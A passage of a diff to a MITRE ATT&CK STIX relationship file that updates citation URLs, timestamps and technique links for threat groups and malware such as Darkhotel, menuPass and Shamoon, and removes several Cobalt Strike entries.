@@ -53457,27 +55304,6 @@ "modified": "2020-03-20T01:55:35.007Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--d4f48744-0564-4ef3-bdae-421076912495", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can install a new service.(Citation: Cobalt Strike TTPs Dec 2017)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf", - "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", - "source_name": "Cobalt Strike TTPs Dec 2017" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", - "type": "relationship", - "modified": "2019-06-06T19:04:39.234Z", - "created": "2018-01-16T16:13:52.465Z" - }, { "id": "relationship--609d3d8c-1995-43ef-a102-a39d668a774d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -53827,7 +55653,7 @@ { "id": "relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of performing screen captures.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", + "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of performing screen captures.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -53954,7 +55780,7 @@ }, { "source_name": "NCCGroup RokRat Nov 2018", - "url": "https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2018/november/rokrat-analysis/", + "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020." } ], @@ -53962,7 +55788,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "type": "relationship", - "modified": "2020-05-21T17:07:02.504Z", + "modified": "2021-03-29T19:50:54.218Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -54117,16 +55943,16 @@ "source_name": "Villeneuve et al 2014" }, { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "type": "relationship", - "modified": "2019-04-22T15:08:48.430Z", + "modified": "2021-03-29T19:54:46.125Z", "created": "2017-05-31T21:33:27.034Z" }, { @@ -54260,12 +56086,12 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "description": "(Citation: Cylance Cleaver)", "type": "relationship", - "modified": "2019-03-22T20:00:23.895Z", + "modified": "2021-04-21T16:41:34.711Z", "created": "2017-05-31T21:33:27.032Z" }, { @@ -54277,9 +56103,9 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", @@ -54291,7 +56117,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "type": "relationship", - "modified": "2019-03-22T20:15:19.409Z", + "modified": "2021-01-06T19:32:29.092Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -54643,16 +56469,16 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2019-03-22T20:15:19.412Z", + "modified": "2021-01-06T19:32:29.095Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -54818,14 +56644,14 @@ { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", - "url": "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" + "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" } ], "source_ref": "malware--c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9", "relationship_type": "uses", "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", "type": "relationship", - "modified": "2020-03-16T17:51:39.986Z", + "modified": "2021-04-21T16:41:34.701Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -55082,7 +56908,7 @@ { "id": "relationship--8dd9d97d-0eb1-4e17-94ac-5589db51f878", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Shamoon](https://attack.mitre.org/software/S0140) copies an executable payload to the target system by using [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) and then scheduling an unnamed task to execute the malware.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)", + "description": "[Shamoon](https://attack.mitre.org/software/S0140) copies an executable payload to the target system by using [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) and then scheduling an unnamed task to execute the malware.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -55102,7 +56928,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "type": "relationship", - "modified": "2020-03-28T21:43:06.136Z", + "modified": "2021-02-09T13:42:15.362Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -55149,14 +56975,15 @@ "external_references": [ { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" } ], "source_ref": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2020-05-14T15:14:33.555Z", + "modified": "2021-04-27T19:53:40.817Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -55435,27 +57262,42 @@ { "id": "relationship--99a96ac0-c93d-488b-8439-04d97716682c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used legitimate access granted to Managed Service Providers in order to access victims of interest.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used legitimate access granted to Managed Service Providers in order to access victims of interest.(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)(Citation: Symantec Cicada November 2020)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "external_references": [ { - "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", - "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + "source_name": "PWC Cloud Hopper Technical Annex April 2017" }, { "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html", "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", "source_name": "FireEye APT10 April 2017" + }, + { + "source_name": "Symantec Cicada November 2020", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage", + "description": "Symantec. (2020, November 17). Japan-Linked Organizations Targeted in Long-Running and Sophisticated Attack Campaign. Retrieved December 17, 2020." + }, + { + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/pr/two-chinese-hackers-associated-ministry-state-security-charged-global-computer-intrusion", + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019." + }, + { + "source_name": "District Court of NY APT10 Indictment December 2018", + "url": "https://www.justice.gov/opa/page/file/1122671/download", + "description": "US District Court Southern District of New York. (2018, December 17). United States v. Zhu Hua Indictment. Retrieved December 17, 2020." } ], "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", "relationship_type": "uses", "target_ref": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", "type": "relationship", - "modified": "2019-09-03T18:50:16.763Z", + "modified": "2020-12-17T16:16:08.761Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -55571,7 +57413,7 @@ { "id": "relationship--02e3008d-1b2b-4824-b715-d6d8335cc4b2", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of injecting code into the APC queue of a created [Rundll32](https://attack.mitre.org/techniques/T1085) process as part of an \"Early Bird injection.\"(Citation: CyberBit Early Bird Apr 2018)", + "description": "[TURNEDUP](https://attack.mitre.org/software/S0199) is capable of injecting code into the APC queue of a created [Rundll32](https://attack.mitre.org/techniques/T1218/011) process as part of an \"Early Bird injection.\"(Citation: CyberBit Early Bird Apr 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -55586,7 +57428,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605", "type": "relationship", - "modified": "2020-03-16T19:38:45.134Z", + "modified": "2021-02-09T15:25:33.216Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -55598,16 +57440,16 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "relationship_type": "uses", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "type": "relationship", - "modified": "2019-03-22T20:15:19.461Z", + "modified": "2021-01-06T19:32:28.680Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -56190,7 +58032,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "type": "relationship", - "modified": "2020-03-29T21:43:29.372Z", + "modified": "2021-04-24T13:35:09.349Z", "created": "2017-05-31T21:33:27.024Z" }, { @@ -56345,27 +58187,6 @@ "modified": "2019-05-10T12:14:32.226Z", "created": "2018-04-18T17:59:24.739Z" }, - { - "id": "relationship--e025dccd-ead3-44d8-af26-f2c3b27667f5", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) will timestomp any files or payloads placed on a target machine to help them blend in.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611", - "type": "relationship", - "modified": "2019-06-06T19:04:39.232Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--a628def4-31a4-475e-b4b8-615534d8d585", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -57067,15 +58888,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the IP address and network adapter information from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has collected the IP address and network adapter information from the victim\u2019s machine.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "id": "relationship--ba18af0c-8b4d-4be0-9b62-f29207856ea9", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "type": "relationship", - "modified": "2020-03-16T20:05:43.543Z", + "modified": "2021-04-05T20:52:47.471Z", "created": "2019-01-30T17:43:28.254Z" }, { @@ -57618,7 +59444,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/", "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.", "source_name": "Nccgroup Emissary Panda May 2018" }, @@ -57632,7 +59458,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4", "type": "relationship", - "modified": "2020-03-16T19:29:54.106Z", + "modified": "2021-03-29T19:43:26.753Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -57802,7 +59628,7 @@ }, { "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", - "url": "https://s3.eu-west-1.amazonaws.com/ncsc-content/files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools" } ], @@ -57810,7 +59636,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "type": "relationship", - "modified": "2019-04-24T20:32:55.103Z", + "modified": "2021-01-25T15:43:45.770Z", "created": "2017-12-14T16:46:06.044Z" }, { @@ -58230,9 +60056,9 @@ ], "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China", @@ -58244,7 +60070,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "type": "relationship", - "modified": "2019-03-22T20:15:19.459Z", + "modified": "2021-01-06T19:32:29.099Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -58344,7 +60170,7 @@ "external_references": [ { "description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", - "url": "https://www.nccgroup.trust/us/about-us/newsroom-and-events/blog/2018/april/decoding-network-data-from-a-gh0st-rat-variant/", + "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018" }, { @@ -58359,7 +60185,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "type": "relationship", - "modified": "2020-07-15T19:28:00.768Z", + "modified": "2021-03-29T19:49:11.254Z", "created": "2019-01-29T14:51:06.825Z" }, { @@ -58452,13 +60278,13 @@ "source_name": "GovCERT Carbon May 2016" } ], - "description": "[Carbon](https://attack.mitre.org/software/S0335) runs the net group command to list accounts on the system.(Citation: GovCERT Carbon May 2016)", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses the net group command.(Citation: GovCERT Carbon May 2016)", "id": "relationship--3bda9db3-3532-429c-86a4-8ff3ee32f59f", "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", "relationship_type": "uses", - "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", "type": "relationship", - "modified": "2020-03-18T19:40:00.931Z", + "modified": "2021-04-25T15:46:06.509Z", "created": "2019-01-29T19:36:02.737Z" }, { @@ -58822,27 +60648,6 @@ "modified": "2019-02-12T21:14:11.188Z", "created": "2019-01-30T15:43:19.359Z" }, - { - "id": "relationship--290c0a54-2702-4d6e-97db-1eafa9a7a1f3", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154)'s \"beacon\" payload can receive C2 from one protocol and respond on another. This is typically a mixture of HTTP, HTTPS, and DNS traffic.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--99709758-2b96-48f2-a68a-ad7fbd828091", - "type": "relationship", - "modified": "2019-06-06T19:04:39.260Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--56e40368-38a7-4415-9ebc-8c84694bc7d6", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -60813,15 +62618,20 @@ "description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015" + }, + { + "source_name": "Microsoft DUBNIUM July 2016", + "url": "https://www.microsoft.com/security/blog/2016/07/14/reverse-engineering-dubnium-stage-2-payload-analysis/", + "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021." } ], - "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) sent spearphishing emails with malicious attachments that required users to click on an image in the document to drop the malware to disk.(Citation: Securelist Darkhotel Aug 2015)", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has sent spearphishing emails in an attempt to lure users into clicking on a malicious attachments.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)", "id": "relationship--e936d8c6-f069-49b1-8d4e-9ecafab2a576", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "relationship_type": "uses", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "type": "relationship", - "modified": "2020-03-17T13:55:22.103Z", + "modified": "2021-04-22T14:35:25.326Z", "created": "2019-01-30T17:43:28.285Z" }, { @@ -61044,14 +62854,14 @@ "target_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", "external_references": [ { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" } ], "description": "(Citation: Symantec Elderwood Sept 2012)", "type": "relationship", - "modified": "2019-03-22T20:15:19.511Z", + "modified": "2021-01-06T19:32:29.100Z", "created": "2018-04-18T17:59:24.739Z" }, { @@ -61364,16 +63174,16 @@ "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" }, { - "source_name": "McAfee Lazarus Resurfaces Feb 2018", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/" + "source_name": "McAfee Lazarus Resurfaces Feb 2018" } ], "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", "relationship_type": "uses", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "type": "relationship", - "modified": "2019-12-20T14:28:39.134Z", + "modified": "2020-12-11T17:47:22.704Z", "created": "2017-05-31T21:33:27.068Z" }, { @@ -61386,7 +63196,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529", "type": "relationship", - "modified": "2020-03-25T21:03:49.742Z", + "modified": "2021-04-02T17:51:59.392Z", "created": "2017-05-31T21:33:27.021Z" }, { @@ -61434,7 +63244,7 @@ { "id": "relationship--0dd74596-509c-4669-9d29-e1fb501c9c70", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [New Service](https://attack.mitre.org/techniques/T1050).(Citation: Symantec Catchamas April 2018)", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) creates three Registry keys to establish persistence by adding a [Windows Service](https://attack.mitre.org/techniques/T1543/003).(Citation: Symantec Catchamas April 2018)", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], @@ -61449,7 +63259,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "type": "relationship", - "modified": "2020-03-16T16:28:16.058Z", + "modified": "2021-02-09T14:51:14.723Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -61641,16 +63451,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "type": "relationship", - "modified": "2019-04-22T15:08:48.435Z", + "modified": "2021-03-29T19:54:46.144Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -61872,7 +63682,7 @@ "source_name": "Novetta Blockbuster RATs" }, { - "url": "https://securingtomorrow.mcafee.com/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", + "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/", "description": "Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.", "source_name": "McAfee Lazarus Resurfaces Feb 2018" }, @@ -61886,7 +63696,7 @@ "relationship_type": "uses", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "type": "relationship", - "modified": "2020-08-10T15:05:31.283Z", + "modified": "2020-12-11T17:47:22.740Z", "created": "2017-05-31T21:33:27.065Z" }, { @@ -61962,7 +63772,7 @@ "relationship_type": "mitigates", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "type": "relationship", - "modified": "2020-09-16T15:27:01.558Z", + "modified": "2020-12-11T17:00:01.107Z", "created": "2017-05-31T21:33:27.025Z" }, { @@ -62013,16 +63823,16 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", - "source_name": "NCC Group APT15 Alive and Strong" + "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" } ], "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "relationship_type": "uses", "target_ref": "attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d", "type": "relationship", - "modified": "2019-04-22T15:08:48.428Z", + "modified": "2021-03-29T19:54:46.126Z", "created": "2018-10-17T00:14:20.652Z" }, { @@ -62145,27 +63955,6 @@ "modified": "2020-07-17T20:31:44.965Z", "created": "2018-10-17T00:14:20.652Z" }, - { - "id": "relationship--df6bc111-0e49-4e61-b38a-ee79cf682d09", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can perform port scans from an infected host.(Citation: cobaltstrike manual)", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "external_references": [ - { - "url": "https://cobaltstrike.com/downloads/csmanual38.pdf", - "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", - "source_name": "cobaltstrike manual" - } - ], - "source_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", - "relationship_type": "uses", - "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", - "type": "relationship", - "modified": "2019-06-06T19:04:39.259Z", - "created": "2017-12-14T16:46:06.044Z" - }, { "id": "relationship--e0cf8a56-e8e1-43b0-9efc-f167d1cf21de", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -62384,7 +64173,7 @@ ], "external_references": [ { - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/may/emissary-panda-a-potential-new-malicious-tool/", + "url": 